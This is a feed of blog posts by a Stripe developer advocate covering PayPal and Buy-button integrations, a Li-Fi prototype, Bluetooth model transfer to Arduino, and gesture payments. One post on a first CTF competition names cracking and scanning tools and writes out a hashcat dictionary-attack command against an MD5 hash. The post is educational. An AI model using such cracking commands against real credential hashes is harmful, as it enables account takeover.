DEV Community: Charlie Gerard

Accept PayPal as a payment method with Stripe in the EU, UK and Switzerland

Charlie Gerard — Tue, 18 Jul 2023 14:42:35 +0000

We recently made PayPal available as a payment method in the EU, UK, and Switzerland, so you can now offer an additional way for your customers to submit payments using their PayPal account.
If you have a Connect account, first reach out to the support team to see if you’re eligible. If you’re a direct merchant, meaning you accept payments directly from consumers, let’s go through the steps to enable it.

Requirements

This feature is only available for Stripe accounts set in the European Economic Area (with the exception of Hungary), the UK, and Switzerland. If your Stripe account is registered in another country, you will unfortunately not be able to activate PayPal at this time.
You’re also required to have a PayPal business account in the EEA, Switzerland or UK. You can create one during the onboarding process.

Enabling PayPal

To enable the PayPal feature in the Stripe Dashboard, navigate to the Payments settings page. If you’re eligible, you should see “PayPal” as an option under the “Wallets” section.

Click the “Turn on” button to start the onboarding process.

Confirm that your account meets all the requirements and click “Continue”.

Then, select where you’d like to keep your PayPal funds and click the “Connect to PayPal” button to connect and activate your accounts.

Alternatively you can choose to settle your funds into your PayPal account instead:

When you are redirected to PayPal, you can either log into an existing account or create a new one as part of the process. As mentioned in the previous section, your PayPal account needs to be a business account in the EEA, Switzerland or the UK.

Once this step is done, if you logged into an existing account, you should see a green checkmark on the right of the payment method to indicate that your PayPal account has been successfully connected to Stripe.

From there, you can enable or disable recurring payments as well as contact support if you need to change how your funds are settled.

If you created a new account as part of the onboarding flow, it will first be pending approval until you verify your email.

You can turn this payment method off at any time by opening the details dropdown and clicking the “Turn off” button in the Stripe Dashboard.

If you’re mostly using Stripe’s no-code products such as Payment Links, this is all you need to do. PayPal will now be a payment option for all your customers.

Integrating PayPal

No-code solution

Once you’ve enabled PayPal on your account, you can test that the feature is working by navigating to your products page, selecting a product you created a Payment Link for, click on the “View payment link” button under the Pricing section, copy the link, and open it in your browser. You should see PayPal displayed as a payment method.

Your customer will then be guided through PayPal’s UI to confirm the payment.

Checkout integration

Integrating PayPal as a payment method using the Stripe API requires minimal changes to your code.

First, if you’re using Checkout, locate where you are creating a Checkout session in your codebase. If you are already specifying different payment methods using the payment_method_types attribute, all you need to do is add paypal to your array.

  const session = await stripe.checkout.sessions.create({
    mode: "payment",
    payment_method_types: ["card", "paypal"],
    line_items: [
      {
        price: process.env.PRICE,
        quantity: 1,
      },
    ],
    success_url: `${domainURL}/success.html?session_id={CHECKOUT_SESSION_ID}`,
    cancel_url: `${domainURL}/canceled.html`,
  });

By default, if you don’t specify any payment method types, it will display all payment methods enabled, including PayPal.

  const session = await stripe.checkout.sessions.create({
    mode: "payment",
    line_items: [
      {
        price: process.env.PRICE,
        quantity: 1,
      },
    ],
    success_url: `${domainURL}/success.html?session_id={CHECKOUT_SESSION_ID}`,
    cancel_url: `${domainURL}/canceled.html`,
  });

Payment Element and Express Checkout Element integration

If you’re using Payment Element or Express Checkout Element, locate where you are creating the PaymentIntent. If you have the attribute automatic_payment_methods set to enabled, PayPal will show up as an option automatically. Otherwise, if you’re using the payment_method_types attribute to customize the options, you’ll only need to add paypal to the array and you’ll be good to go.

    const paymentIntent = await stripe.paymentIntents.create({
      amount: 1999,
      currency: currency,
      payment_method_types: ['card', 'paypal']
    });

These code samples shown above are using Node.js, but the change is very similar in other programming languages. If you want to read more, please check the docs.

Issuing refunds

If you need to issue a refund to a customer who paid using PayPal, navigate to the payments page in the Stripe Dashboard, select the payment you’d like to issue the refund for, click on the refund button, and confirm the refund in the pop-up displayed.

Conclusion

If you have a Stripe account registered in the EU, UK, or Switzerland, you can now enable PayPal as a payment method with Stripe with a few clicks and some minor code changes. This feature will allow you to reach more potential customers and provide them with a better checkout experience. If you’re interested in learning more, check out our docs.

About the author

Charlie Gerard is a developer advocate at Stripe, a published author and a creative technologist. She loves researching and experimenting with technologies. When she’s not coding, she enjoys spending time outdoors, reading, and setting random challenges for herself.

Notes from competing in my first CTF

Charlie Gerard — Tue, 04 Apr 2023 15:54:51 +0000

Last weekend, I competed in the National Cyber League (NCL), my first cybersecurity CTF open to students in the US. I only started my Bachelor's degree in cybersecurity a month ago but I wanted to give it a try anyway. I had a great time, learnt a lot and wanted to share some of my notes. Unfortunately, I'm not allowed to go into too much detail about the challenges and solutions but I still wanted to share some tools I used.

This CTF is broken down into 9 categories, each with multiple challenges to go through, rated from easy to hard. To avoid having people brute force the answers until they get the correct one, each time you submit an incorrect answer, your accuracy score decreases so you have to choose what you submit wisely.

In the end, here's my score report below. I ranked in the top 6% nationally 🎉 so I'm excited to see how I do next time with more experience!

The categories include:

Open source intelligence (OSINT)
Cryptography
Password Cracking
Log analysis
Network Traffic Analysis
Forensics
Scanning & Reconnaissance
Enumeration & Exploitation
Web application exploitation

Open-Source Intelligence (OSINT)

This section is usually related to being able to understand or find data without much context, or using notations you might not know, with very little information. For example, deciphering messages or being given a number that looks totally random and figuring out what it refers to.

Here are some of the tools I used:

Cryptography

This section focuses on encrypting and decrpyting messages or files. You are often not told how they are encrypted so you have to figure out first which encryption method to use to decrypt them.

For this section, I mostly used CyberChef

For example, you could get asked to decrypt the message aGVsbG8gd29ybGQ=.

Using CyberChef, you can try to decrypt it using different methods. If you've decrypted messages before, you might recognize that it is encrypted using Base64, so it decrypts to hello world.

Some challenges also relate to finding information in files of different formats.

For challenges including files, I used commands such as file and also tools like PGP with gnupg or OpenSSL (openssl).

Password cracking

This section is pretty self-explanatory, you're given a bunch or encrypted passwords and have to figure out how to decrypt them.

For this, I downloaded wordlists such as the rockyou wordlist and used tools such as Hashcat and John the ripper.

For example, if you wanted to decode the password 5f4dcc3b5aa765d61d8327deb882cf99, you would run the following hashcat command.

hashcat -m 0 -a 0 5f4dcc3b5aa765d61d8327deb882cf99 <path to your wordlist>

Web Application Exploitation

In this section, you have to find ways to attack vulnerable websites.

I mainly used the browser's developer tools, wrote some custom code and tried Burpsuite to intercept and modify requests.

Enumeration and exploitation

This section usually involves programs written in different programming languages. To solve the challenges, you might have to figure out how to run them to find the flag or answer some questions that will test your understanding of the code written.

The tools used for this section vary a lot depending on the code samples you get. You might get something in Python, JavaScript, Go, PowerShell, Assembly, etc so you have to be comfortable figuring things out.

Forensics

This section focuses on finding things in different types of files. It could involve understanding how to deal with corrupted files, being able to understand information in some config files in a format you've never worked with, or figuring out the right tool to use to extract data.

Scanning & Reconnaissance

This section is the one I am the least experienced in. It involved scanning for open ports, or finding domains connected to a server, etc.

I mainly used nmap to scan for ports and gobuster to find potential subdomains.

Log Analysis

In this section, the challenges give you different kinds of log files to analyse.

I mainly used awk to filter through the lines and extract the information I needed.

An example of command is display only the first element on each line of a log file would be

awk '{print $1}' access.log

and to sort them, remove duplicates and count the number of entries, it would be something like this:

awk '{print $1}' access.log | sort | uniq | wc -l

Network traffic analysis

In this section, you are given files with network packets and you have to analyse them to find specific information.

I mainly used Wireshark and aircrack-ng

Overall it was an intense weekend but I'm happy with how much I did and learnt. I was a bit worried about participating in a CTF before because I thought I wouldn't be able to do anything considering I have little experience in cybersecurity, but was surprised with how much I was able to solve by researching on the spot and going through the practise game a few weeks before. I'm definitely excited to learn more!

Use Payment Links as an embedded button

Charlie Gerard — Wed, 01 Mar 2023 18:19:00 +0000

We recently released a new way to use Stripe Payment Links on your website. You can now easily turn them into customizable embedded buttons using the Dashboard, generating a custom piece of code that you can add to your codebase so you can sell your products online with minimal effort.

Creating the Buy button

In the Stripe Dashboard, select a product you have generated a Payment Link for. Under the Pricing section, click on the “View payment link” button to be redirected to the details page.

You’ll then click on “Buy button,” which is located to the right of the payment link.

A panel will appear on the right to let you customize your button’s appearance and content.

Embedding the button

When your button is ready, copy the code sample provided and paste it into the part of your codebase responsible for rendering the UI where you’d like the button to be displayed.
You will notice that the button is made of a script tag that imports a JavaScript library dedicated to handling how these buttons work, in addition to a custom <stripe-buy-button> tag with a button ID and your publishable key as attributes.

<script async src="https://js.stripe.com/v3/buy-button.js"></script>
<stripe-buy-button
 buy-button-id="buy_btn_1MgEyoDNsVQ3fzInaHTBBhYR"
 publishable-key="pk_test_51ABC" // replace with your publishable key
>
</stripe-buy-button>

The code sample above works well to display a button that sells a single product. However, if you want to use a Buy button for multiple products and your UI is built using a component-based front-end framework such as React, you will have to adapt this code sample to be more dynamic.
For example, if you are rendering a list of your products and you want to display a Buy button for each product using a reusable custom component, you could adapt the code sample to something like this:

export default function App() {
// The list of your Buy button IDs
 const buttonIds = [
   "buy_btn_123ABC",
   "buy_btn_234DEF",
   "buy_btn_567GHI"
 ]
// The component to display the button that receives a single button ID as parameter
 const BuyButtonComponent = (buttonId) => {
   return (
     <stripe-buy-button
       buy-button-id={buttonId}
  publishable-key="pk_test_51ABC" // replace with your publishable key
     >
     </stripe-buy-button>
   );
 }
// Loop through the IDs and display a button for each product
 return (
   <>
   {buttonIds.map(b => BuyButtonComponent(b))}
   </>
 );
}

If you are building your website using this component-based approach, you will need to add the script tag separately in the head tag of your main HTML file.
That’s it. No additional change is necessary to start using this feature.

Conclusion

Using Buy buttons can simplify the implementation of Stripe Payment Links into your website by providing a short auto-generated code sample that you can copy and paste into your codebase and display buttons that are customized to your brand’s look and feel.

We hope you’ll share how you’re planning to use them.

You can also follow Stripe developer updates on the following platforms:
📣 Follow @StripeDev and our team on Twitter
📺 Subscribe to our YouTube channel
💬 Join the official Discord server
📧 Sign up for the Dev Digest

About the author

From Wi-Fi to Li-Fi, sending data via light using Arduino and JavaScript

Charlie Gerard — Mon, 13 Feb 2023 16:56:15 +0000

There’s a big chance you’re reading this post on a device connected to the internet via Wi-Fi. Your router broadcasts data that is received by a small antenna in your computer, phone or tablet. This data is transmitted over radio waves at a frequency of either 2.4GHz or 5GHz. However, other parts of the electromagnetic spectrum can be used to transmit information. Using visible light, data can be encoded and transmitted using a technology called Li-Fi which aims at using your existing lights for wireless communication.

In this post, I’ll explain how it works by building a prototype of a Li-Fi project using JavaScript and Arduino.

If you prefer tutorials in video formats, you can check out this video on Youtube.

Demo

First, here’s the final outcome of my experiments. Data is transmitted using visible light between two devices. This demo shows how a Stripe payment link can be sent but this technology also works to transmit audio files, videos, and more.

Material

There are a lot of different ways to build this. Here’s the list of components I used for my prototype:

2 Arduino UNO
A breadboard
Jumper wires
A 10k resistor
A Neopixel Jewel (a standard LED will work too but you will need an extra resistor and the transmitter and receiver will have to be set up much closer as an LED is less bright than the Jewel).
A phototransistor

They are then assembled following these schematics:

The board shown at the top is used as the transmitter and will use the Neopixel Jewel connected to pin 7 of the Arduino to send data via light. The board below is the receiver and uses the phototransistor connected to pin A0 to convert the light intensity back into data.

Now, let’s dive deeper into how it works.

Deep dive

Converting data

If you’re used to working with computers, you have probably heard many times that, at the lowest level, computers deal with data as a bunch of 1s and 0s. Using light as a medium to send information is quite convenient, as the only state a light can be in is either “on” or “off”. As a result, for this experiment, we’re going to encode 1 as the “on” state and 0 as the “off” one.

For the rest of this post, let’s consider that we want to transmit the string “Hello, world”.

Strings are made of characters, and a single character is 1 byte of data. As a byte is 8 bits, each letter in this string can be converted to 8 bits.

The decimal representation of the ASCII letter “H” is the integer 72, which can be converted to binary as 01001000.

The complete string “Hello, world” represented in binary is the following:
01001000 01100101 01101100 01101100 01101111 00101100 00100000 01110111 01101111 01110010 01101100 01100100

To do this conversion using JavaScript, you can use the built-in methods charCodeAt, toString and padStart.

// This function takes in a string to convert
const convertToBinary = (string) => {
   // The string is split into an array of characters
   return string.split('').map(function (char) {
       // For each character, charCodeAt(0) is called to get its decimal representation, followed by .toString(2) to get its binary representation and .padStart(8, ‘0’) to make sure the leading 0s are kept and each byte has 8 digits. 
       return char.charCodeAt(0).toString(2).padStart(8, '0');
     // Finally, join all converted characters together into a single string.
   }).join(' ');
}

Now that I’ve covered how the data is converted, let’s talk about how it is transmitted.

Transmitting the data

As mentioned above, a string can be converted to binary. The 1s can be associated with the “on” state of a light, and the 0s with the “off”. At first, you might think that a solution would be to loop through the whole binary code, turning the light on when the bit is equal to 1 and turning it off when the bit is 0. A receiver set up as a light sensor could then decode the messages by turning the light states back to 1s and 0s.

While this is how it works at its core, this is where the details get really interesting.

Because it’s important that both the transmitter and receiver stay in sync, we need to create a custom communication protocol.

First, why do they need to stay in sync? I mentioned in the previous part of this post that the binary equivalent of “Hello, world” is
01001000 01100101 01101100 01101100 01101111 00101100 00100000 01110111 01101111 01110010 01101100 01100100

If the receiver starts decoding the data at the first bit, then it will be able to retrieve the right information; however that might not always be the case. If the receiver is out of sync by even a single bit, the information it will decode will be incorrect.

For example, if instead of the first 8 bits “01001000”, it gets “10010000”, it will decode “�” instead of “H” as this value is not a valid ASCII character, and all subsequent characters will also be wrongly decoded.

Besides, as this technology aims at being used as part of the lights people already have set up in their homes or offices, the lights will likely already be on by the time they’re also used to transmit information.

As a result, when the lights are on but not transmitting information, the receiver will read an input equal to “111111111111…”, so a communication protocol is needed to define when a message is starting to be sent so the receiver can start the decoding process.

Setting up a communication protocol

A light might be on simply to illuminate a space, not to transmit information, so there needs to be some kind of preamble to indicate to the receiver that a message is about to be transmitted. This preamble will be a change from “on” to “off” state.

Also, we need to pick a unit of time to define how long the light should reflect the value of each bit transferred. First, let’s say that each bit changes the state of the light for 100 milliseconds, so when the bit is equal to 1, the light stays on for 100 milliseconds, and if the bit is 0, the light turns off for 100 milliseconds.

Finally, when the 8 bits have been transferred, the light will be brought back to its original “on” state.

It can be graphically represented like this:

Then, on the receiver side (represented as the second row of intervals below), we need to detect the preamble when the light changes state from “on” to “off”. Then, we need to wait 1.5x the interval as we don’t want to sample the preamble but we want to make sure we sample our data within the next 100ms where data starts to be transmitted, and sample it 8 times to get the value of each bit.

Implementation

I decided to use the Johnny-Five JavaScript framework for this. After installing it , I started by declaring a few variables and instantiating the transmitter board.

// Import the required packages
const five = require("johnny-five");
const pixel = require("node-pixel");
// Instantiate a new board using the first Arduino’s port
var board = new five.Board({ port: "/dev/cu.usbmodem11101" });
// Declare variables to store the pin number that the light sensor is connected to, the value of the interval and the string to transmit.
const LED_PIN = 9;
const INTERVAL = 100;
const string = "Hello, world";
const strLength = string.length;

Then, when the board is ready to receive instructions, I instantiate the Neopixel strip with the pin it is connected to on the Arduino as well as the number of LEDs, turn the light on and call my sendBytes function.

board.on("ready", async function () {
   const strip = new pixel.Strip({
       board: this,
       controller: "FIRMATA",
       strips: [{ pin: 7, length: 7 },],
       gamma: 2.8,
   });
   strip.on("ready", function () {
       strip.color('#fff');
       strip.show();
   });
   await delay(3000);
   sendBytes(strip);
});

This function implements the communication protocol defined in the previous section.

const sendBytes = async (strip) => {
   for (var i = 0; i < strLength; i++) {
       strip.off();
       strip.show();
       await delay(INTERVAL);

       const bits = convertToBinary(string[i]);

       for (var y = 0; y < 8; y++) {
           const ledState = bits[y];

           if (ledState === '1') {
               strip.color('#fff');
               strip.show();
           } else {
               strip.off();
               strip.show();
           }
           await delay(INTERVAL);
       }

       strip.color('#fff');
       strip.show();
       await delay(INTERVAL);
   }
   await delay(INTERVAL);
   sendBytes(strip);
}

For each letter in the string transmitted, it goes through the following steps:

Start by turning the light off
Apply a delay of 100ms
Convert the letter into binary
Loop through each bit
- If its value is 1, turn the light on and if it is 0, turn it off
- Apply the delay of 100ms
When it has gone through the 8 bits, turn the light back on and apply the delay again
Once all letters are sent, call sendBytes recursively to continuously send the data.

The delay function is simply a setTimeout function inside a Promise.

const delay = (ms) => {
   return new Promise(resolve => {
       setTimeout(resolve, ms);
   });
}

Before running this code, you need to install the right firmware onto the board. To do this, you can follow the instructions on the node-pixel repository.

Then, it should result in the light flashing like this:

Now that the transmitter is able to change the state of the light depending on the bits sent, let’s set up the receiver side.

Decoding the data

To set up the receiver, I first declared some variables and instantiated the second board.

var five = require("johnny-five");
var board = new five.Board({ port: "/dev/cu.usbmodem11201" });
const SENSOR_PIN = "A0";
const THRESHOLD = 400;
const INTERVAL = 100;
let previousState;
let currentState;
let lightValue;
let detectionStarted = false;
let testString = "";
let decodedText = "";

Then, when the board is ready to receive instructions, I instantiate the light sensor, store the brightness value in the lightValue variable, and call the main decode function.

board.on("ready", function () {
   var sensor = new five.Sensor(SENSOR_PIN);
   sensor.on("data", async function () {
       lightValue = this.value;
   })
  // Calling the built-in loop function to recursively trigger the decoding logic every 10 milliseconds.
   this.loop(10, () => {
       if (!detectionStarted) {
           decode();
       }
   })
});

This function starts by calling getLDRState to return 1 or 0 if the brightness is over or under the threshold specified (this threshold will depend on the amount of light already present in your environment).

const getLDRState = (value) => {
   return value > THRESHOLD ? 1 : 0;
}

Then, it will call the getByte function only if it has detected the preamble, meaning if the current state of the light is off and the previous state was on.

const decode = () => {
   currentState = getLDRState(lightValue);
   if (!currentState && previousState) {
       detectionStarted = true;
       getByte();
   }
   previousState = currentState;
}

This getByte function starts by waiting 1.5x the interval chosen, then calls getLDRState 8 times to convert the brightness into a bit value, converts that byte into an ASCII character and logs it.

const getByte = async () => {
   let ret = 0;
   await delay(INTERVAL * 1.5);

   for (var i = 0; i < 8; i++) {
       const newValue = getLDRState(lightValue)
       testString += newValue
       await delay(INTERVAL);
   }

   decodedText += convertBinaryToASCII(testString)
   console.log(decodedText)
   testString = ""
   detectionStarted = false;
}

The conversion between binary and ASCII is done with the following code.

const convertBinaryToASCII = (str) => {
   var bits = str.split(" ");
   var text = [];

   for (i = 0; i < bits.length; i++) {
       text.push(String.fromCharCode(parseInt(bits[i], 2)));
   }
   return text.join("");
}

Before running this code, you need to install StandardFirmata onto the receiver board. To do this, follow the steps in this tutorial.

Running both the transmitter and receiver will give something like this.

It works! 🎉

Make it work, then make it fast

If you look at the demo above, you’ll see that the transmission is rather slow. This is a problem not only because data will take a long time to transmit but also because the flickering of the light is very noticeable. The goal of Li-Fi is to fully integrate with existing lighting setups to transmit data in a way that wouldn’t be detectable by the human eye. For this, we need to speed up the transmission and reception.

So far in this post, I’ve started by choosing to update and read the state of the light every 100ms. Using JavaScript, the fastest speed I’ve managed to work with is 60ms. Under that, the detection seems to be failing. This was expected as I do not think JavaScript is the right tool to work with very time-sensitive hardware projects.

Instead, I decided to switch to using the Arduino library and running the code natively on the board.

Contrary to JavaScript, the Arduino library runs synchronously which means I didn’t have to find hacks with setTimeout to apply the delays.

If you’re interested in looking at the Arduino code, you can find it in my GitHub repository.

This way, I managed to decrease the interval to 4ms. As this delay is applied 10 times per byte (once for the preamble, then once for each bit, and once when setting back the light to its initial state), it means a character is sent every 40ms, and the string “Hello, world!” can be transmitted in 520ms, or about half a second, instead of 7.8s in JavaScript!

The transmission is still noticeable at this speed – but it’s much better!

To get to a point where it could be invisible to the human eye, I would have to experiment with faster microcontrollers, maybe different light sensors and overall approaches, especially as the goal is to also transmit images and videos using this technology.

Applications

Li-Fi is not a new technology. This great TED talk from 2011 and this one from 2015 show that researchers have been working on this for more than 10 years.

It provides a few advantages such as faster data transmission capabilities, intrinsic security, and energy efficiency to mention a few.

Indeed, as the receiver device needs to be directly placed under the light source, it could ensure that data would not be intercepted by a potential malicious actor, unless they happen to be in direct line of sight. Additionally, in terms of energy savings, it could allow us to save electricity by using our lights as a router instead of using separate devices for lighting and connectivity.

Additionally, it could present a solution to provide better in-flight Internet connection as Li-Fi would not interfere with radio signals the same way Wi-Fi does.

In the payment space, terminal devices could be equipped with light detection sensors to allow customers to pay using their phone’s flashlight, instead of using NFC chips. This would allow contactless payments to be done from a larger distance than the maximum 4 cm (1.5 in) currently enabled by NFC and would provide an additional layer of security against drive-by attacks.

Conclusion

In this post, I went through the steps I took to build a small prototype and experiment with Arduino and JavaScript to send text via light. There are a lot of different aspects of this project that I would be really interested in diving deeper into. In addition to trying out faster microcontrollers, I would like to try to transmit a video file using a MIMO (Multiple Input Multiple Output) approach, but that will be for another time.

Thanks for reading!

You can stay up to date with Stripe developer updates on the following platforms:
📣 Follow @StripeDev and our team on Twitter
📺 Subscribe to our Youtube channel
💬 Join the official Discord server
📧 Sign up for the Dev Digest

About the author

Charlie Gerard is a Developer Advocate at Stripe, a published author and a creative technologist. She loves researching and experimenting with technologies. When she’s not coding, she enjoys spending time outdoors, reading and setting herself random challenges.

Demystifying machine learning via Bluetooth with Arduino

Charlie Gerard — Fri, 28 Oct 2022 15:42:47 +0000

The first time I experimented with TensorFlow.js for micro-controllers, I got really excited about the fact that a machine learning model was transferred via bluetooth to my Arduino. In just a few seconds gesture control was enabled on a website! My excitement quickly turned into curiosity; how does it actually work?

To understand it better, I spent time diving into the open-source script tf4micro-motion-kit.js that is used as part of the project Tiny Motion Trainer. In this post, I am going to explain how a machine learning model can be transferred via bluetooth from the browser to an Arduino.

If you’re interested in how this technology can be used to create gesture-controlled web applications, check out the previous blog post I wrote about this.

Bluetooth and GATT

A core concept to understand for the rest of this blog post is that Bluetooth Low Energy (BLE) devices transfer data back and forth using what is called services and characteristics, which are concepts that are part of GATT (Generic ATTribute Profile). GATT relies on the ATT (Attribute Protocol) data protocol, which uses 16-bit or 128-bit UUIDs (Universally Unique Identifiers) to store services and characteristics.

You can think of services and characteristics as variables that will hold data about the functionalities of your device, that can be read or written to from another application or device.

For example, a service you can find on many BLE devices is called the Battery Service. It contains multiple characteristics, for example the battery level and the battery power state characteristic. When you buy an off-the-shelf device, these services and characteristics are already set for you and you might be able to do some “read” or “write” requests to them.

On the Arduino however, you can create your own services and characteristics. When it comes to being able to upload a machine learning model to the board, you might want a generic service with characteristics such as the transfer state, the total length of the file, the settings with which your model was trained, and more.

What do these services and characteristics look like? As mentioned above, they are either 16-bit or 128-bit UUIDs so a service ID could be:

"81c30e5c-0000-4f7d-a886-de3e90749161"

In this example, you have 32 hexadecimal values. A hexadecimal value is represented as 2^4 so 4 bits that can hold a value of either 0 or 1. As a result, 32 x 4 = 128 bits.

When these services and characteristics are created in the program running on the Arduino, they can then be read from the browser using these UUIDs.

Have a look at the Arduino upload program if you want to see how all the services and characteristics are created.

Now, let’s move on to how this works in practice.

Connecting to the board

First of all, the board has to be somehow connected to the browser to be able to send or receive data. In this project, this connection is established via bluetooth. Using the Web Bluetooth API, you need to start by using the requestDevice method on the navigator.bluetooth object. You can pass in some filters if you’d like so the browser will show you only the device(s) you’re interested in when initiating the connection.

For example, in the tf4micro-motion-kit.js script, the main service UUID that is created in the program running on the Arduino is used as a filter to identify the device.

const SERVICE_UUID = "81c30e5c-0000-4f7d-a886-de3e90749161";
const device = await navigator.bluetooth.requestDevice({
     filters: [{ services: [SERVICE_UUID] }],
 });

The code above returns a promise and the next step is to connect to the device:

const server = await device.gatt.connect();

If this step is successful, you can start to store the reference of these services and characteristics in variables so you can use them later on. For example, storing a reference to the main service is done with the following line:

const service = await server.getPrimaryService(SERVICE_UUID);

And you can define different characteristics with the code below, for example, the file length characteristic using the same ID as the one defined in the program uploaded to the Arduino:

const FILE_LENGTH_UUID = "bf88b656-3001-4a61-86e0-769c741026c0";
const fileLengthCharacteristic = await service.getCharacteristic(FILE_LENGTH_UUID);

The characteristic above is used to refer to the file size of the machine learning model in bytes so, when it is transferred to the Arduino, you can check when the entire file has been transferred.

After the connect() method has been called and you store all the references to the services and characteristics you’re interested in, the board is connected to the browser and you can move on to the next step.

Loading the machine learning model

The model is stored in your application folder as a .tflite file. First, it needs to be loaded using either the fetch API or an XMLHTTPRequest. Second, the response needs to be served as an array buffer.

const loadFile = (modelUrl) => {
 return new Promise((resolve, reject) => {
   const oReq = new XMLHttpRequest();
   oReq.open("GET", modelUrl, true);
   oReq.responseType = "arraybuffer";

   oReq.onload = function () {
     const arrayBuffer = oReq.response;
     if (arrayBuffer) {
       resolve(arrayBuffer);
     } else {
       reject(new Error("Failed fetching arrayBuffer"));
     }
   };

   oReq.onerror = reject;
   oReq.send(null);
 });
};

Once the file is loaded, the next step prepares the file to be transferred.

Splitting the machine learning model

The Arduino Nano 33 BLE Sense is designed around a Nordic Semiconductor chip which has a Maximum Transmission Unit (MTU) of 23 bytes, which represents the largest packet size that can be sent at a time. According to this resource, the maximum data throughput for this size is 128 kbps so you need to split the machine learning model into packets of this size to be able to transfer it over to the Arduino.

You also need to make sure that the total size of the file isn’t too large for the microcontroller to handle.

To do this, you start by reading the characteristic that holds the maximum file size value from the Arduino.

let maximumLengthValue = await fileMaximumLengthCharacteristic.readValue();
let maximumLengthArray = new Uint32Array(maximumLengthValue.buffer);
let maximumLength = maximumLengthArray[0];
// The fileBuffer variable is the model buffer you loaded in the code sample above.
 if (fileBuffer.byteLength > maximumLength) { 
   console.log(
     `File length is too long: ${fileContents.byteLength} bytes but maximum is ${maximumLength}.`
   );
   return;
 }

If the file isn’t too long, you can start splitting it and transferring it. The code below details the different steps.

// 1. Start by writing the length value of the model to the file length characteristic on the Arduino.
let fileLengthArray = Int32Array.of(fileContents.byteLength);
await fileLengthCharacteristic.writeValue(fileLengthArray);

// 2. Pass the file buffer and the starting index to the function
sendFileBlock(fileContents, 0)

async function sendFileBlock(fileContents, bytesAlreadySent) {
// 3. Calculate the remaining bytes.
 let bytesRemaining = fileContents.byteLength - bytesAlreadySent;
 const MAX_BLOCK_LENGTH = 128;
 const blockLength = Math.min(bytesRemaining, MAX_BLOCK_LENGTH);

// 4. Transform the content into a Uint8array
 const blockView = new Uint8Array(fileContents, bytesAlreadySent, blockLength);

// 5. Write the value to the characteristic on the Arduino
 return fileBlockCharacteristic
   .writeValue(blockView)
   .then((_) => {
// 6. Remove the length of the block already sent from the size of bytes remaining
     bytesRemaining -= blockLength;
// 7. If the file has not finished transferring, repeat
     if (bytesRemaining > 0 && isFileTransferInProgress) {
       console.log(`File block written - ${bytesRemaining} bytes remaining`);
       bytesAlreadySent += blockLength;
       return sendFileBlock(fileContents, bytesAlreadySent);
     }
   })
   .catch((error) => {
     console.log(error);
     console.log(
       `File block write error with ${bytesRemaining} bytes remaining, see console`
     );
   });
}

Once this code runs, it should transfer the machine learning model, packet by packet, until there are no bytes remaining. Even though this works, you can add an additional step to ensure that the file received is the same as the file transferred.

Checksum

A checksum can be used to detect errors that may have been introduced when the file was transferred between the browser and the Arduino. The tf4micro-motion-kit.js library uses a CRC32 function to verify data integrity.

It calculates a 32-bit cyclic redundancy checksum for the data transferred and repeats this calculation on the receiving side. If the two values don’t match, the data has somehow been corrupted and an error message can indicate that the transfer has failed.

I’m not going to dive into how the CRC32 function is implemented but you can view the source in the repository.

How the Arduino runs the model

Once the Arduino has received the complete file and the checksum has verified the integrity of the data, the code on the device gets live input data from the built-in sensors using the IMU.readAcceleration method, transforms that data into tensors, and feeds it to the model to predict gestures. This code is written in C++ and is part of the program you need to upload to the Arduino so I won’t go into details, but you can have a look at the code in this repository.

Conclusion

Transferring a machine learning model from the browser to an Arduino via bluetooth is done in 5 steps including connecting the board to the browser using the Web Bluetooth API, splitting the model into chunks, transferring them one by one to the device, running it with live data from the Arduino’s built-in sensors, and notifying the frontend once a gesture has been detected.

If you want to dive deeper into the entire code written for the Arduino sketch, you can find it in this repository and if you want to look at the code written to create the model, the Tiny Motion Trainer project is also open-source!

If you’re building anything interesting with this technology, let us know!

In the meantime, you can stay up to date with Stripe developer updates on the following platforms:
📣 Follow @StripeDev and our team on Twitter
📺 Subscribe to our Youtube channel
💬 Join the official Discord server
📧 Sign up for the Dev Digest

About the author

Charlie Gerard is a Developer Advocate at Stripe, a creative technologist and Google Developer Expert. She loves researching and experimenting with technologies. When she’s not coding, she enjoys spending time outdoors, trying new beers and reading.

Gesture-based payments

Charlie Gerard — Mon, 10 Oct 2022 15:55:20 +0000

Currently, the most popular forms of contactless payment include the use of “Tap to Pay” with cards, phones and smart watches. You bring your device close to a terminal and have your payment processed in a few seconds. Other interesting technologies are being considered as potential future payment methods, one of them being gesture control. Several patents have already been filed for this, including one that would add a module dedicated to gesture control on a credit card and another that would store user-defined gesture data in the user’s mobile phone to build a gesture based authentication for wireless payment.

Gesture data can be recorded in many different ways and in this post, I will explain how to prototype a different gesture-based payment system in a few lines of code, using an Arduino Nano 33 BLE Sense (a microcontroller for IoT projects), the machine learning library TensorFlow.js and some JavaScript.

Below is a prototype I built that uses a Terminal device to collect payment details from a credit card and only processes the payment once the user confirms the purchase with a custom gesture.

It works by creating a Payment Intent on the server, collecting the payment method via the Terminal and waiting for a user gesture. If the user executes a gesture that isn’t recognized as a pre-trained one, it displays the message “Incorrect gesture” in the UI. On the other hand, if it is recognized, it processes the payment.

This type of technology could be used to prevent unauthorized use of a stolen credit card or phone, for example. The same way that nowadays people use multiple factor authentication when logging into online platforms, payment could benefit from the same concept.

Training a machine learning algorithm with gestures data

The first step to build this project is to build a machine learning model that can recognise different gestures.

To do this, you can use a project built by Google Creative Labs called Tiny Motion Trainer. This interface lets you record different gestures, feed this data into an algorithm to create a machine learning model, test it for accuracy and export it as a file you can add in your app, all in just a few minutes!

Getting the Arduino ready

To make this work, upload a sketch (program) to the Arduino to add some machine learning functionality. By default, an Arduino does not have this built-in logic until you upload a sketch to it. What this sketch does is implement the functionality needed to run the machine learning model once it receives it from the browser.

You can find the instructions on how to do this in this repository.

Connecting to the Arduino

To capture gesture data, the Arduino needs to be connected to the browser. This happens using bluetooth and the Web Bluetooth API.

For security reasons, this API requires a user action to start scanning for nearby devices. In general, this interaction is a button click to indicate that the user is intentionally trying to connect to a device.

Using Tiny Motion Trainer, clicking on the “Connect” button will open a popup with the list of nearby Arduino devices you can connect to.

When the connection is successful, you should see the first setting being updated as you move the Arduino.

I will talk about what these settings mean later in this post. For now let’s move on to recording gesture data.

Capturing data

Once connected, you can start capturing data about the gestures you’re interested in. For the rest of this post, I’m going to use examples of hand gestures but attaching the Arduino to your leg to detect squats or even to a washing machine to detect the different stages of the laundry process would also be valid inputs.

First, pick a label for your gesture, for example “Rotate right”. Then, while holding the Arduino in your hand, click the “Start recording” button and repeat the gesture to record multiple samples. The number of samples you record is up to you, but the more you have, the more accurate your model is likely to be. Personally, I always record at least 10 samples per gesture.

